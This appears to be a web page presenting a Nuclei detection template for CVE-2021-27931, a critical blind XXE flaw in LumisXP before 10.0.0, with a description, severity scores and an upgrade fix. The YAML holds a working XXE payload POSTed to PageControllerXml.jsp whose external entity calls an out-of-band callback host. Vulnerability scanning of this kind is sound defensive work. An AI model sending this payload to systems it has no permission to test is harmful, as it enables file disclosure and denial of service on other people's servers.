LumisXP <10.0.0 - Blind XML External Entity Attack

ID: CVE-2021-27931

Severity: critical

Author: alph4byt3

Tags: cve2021,cve,lumis,xxe,oast,blind

Description

LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.

YAML Source

id: CVE-2021-27931

info:
  name: LumisXP <10.0.0 - Blind XML External Entity Attack
  author: alph4byt3
  severity: critical
  description: LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server compromise, or further attacks on internal systems.
  remediation: |
    Upgrade LumisXP to version 10.0.0 or above to mitigate the vulnerability.
  reference:
    - https://github.com/sl4cky/LumisXP-XXE---POC/blob/main/poc.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27931
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-27931
    cwe-id: CWE-611
    epss-score: 0.60102
    epss-percentile: 0.97771
    cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lumis
    product: lumis_experience_platform
  tags: cve2021,cve,lumis,xxe,oast,blind

http:
  - raw:
      - |
        POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1
        Host: {{Hostname}}

        <?xml version="1.0" ?>
        <!DOCTYPE r [
        <!ELEMENT r ANY >
        <!ENTITY xxe SYSTEM "http://{{interactsh-url}}">
        ]>
        <method name="addPage">
        <id>&xxe;</id>
        </method>

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a00473045022100af6eb3c5849ad149775fc6e41548a69cc7fbc49a6e83cd055f86012bd5e4ba5d0220769e52bc9486419095e36f1873f306cb29e3e8dfffddccae8bee0bafbbbdead1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27931.yaml"

View on Github